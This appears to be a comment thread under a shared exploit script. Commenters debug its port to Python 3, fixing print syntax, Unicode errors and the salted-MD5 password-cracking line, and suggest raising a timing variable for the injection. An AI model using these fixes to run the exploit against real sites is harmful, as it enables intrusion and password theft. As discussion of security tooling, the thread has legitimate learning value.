Hey! Thanks for the fast response!
(you saved me 2 hours of research 😁) really appreciate it.

You're welcome, somebody else send me the corrections, I just posted it here.

Hi, Please what is the change you made at the line 190 cause i don't see any .

Hi, Please what is the change you made at the line 190 cause i don't see any .

print(colored("[*] Now try to crack password"))
I guess this should be the change
But I would rather using python and python3 while executing this python file in your terminal.

Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)

Hello there,

You just need to make this changes

print colored("[*] Now try to crack password")

Well I get this error after making the necessary changes:

"UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte"

I think you should check this thread.

File "/usr/lib/python3.9/codecs.py" , line 322 ,in decode
(result, consumed)= self._buffer_decode(data, self.errors,final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in positon 993: invalid continuation byte

Could anyone explain, how to resolve this issue

Thanks Man you save me

Here is a version in python3 that I made.
I cant get it to work though, any thoughts??
if we can get it to exploit then I can reupload to exploitdb

I think it might be due to your internet connection. Increase the variable TIME in the code to a higher number

I just made a new fork with the script modified for python3, hope this helps.

An error occured:
if hashlib.md5(str(salt) + line).hexdigest() == password:
TypeError: Unicode-objects must be encoded before hashing

An error occured: if hashlib.md5(str(salt) + line).hexdigest() == password: TypeError: Unicode-objects must be encoded before hashing

same problem

You need to encode the variable line.

Change
if hashlib.md5(str(salt) + line).hexdigest() == password
to
if hashlib.md5(str(salt) + line.encode('utf-8')).hexdigest() == password

More info

Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)

i got stuck and this what i did @@
sudo cp /usr/lib/python3/dist-packages/termcolor.py /usr/lib/python2.7/dist-packages/
it worked, lol

Thats works, thank you

This was a good explanation of the exploit, nice work!!

This was very helpful. I'm trying to learn Python myself and sometimes it gets so confusing. This really helped to clear things up. Thank you.
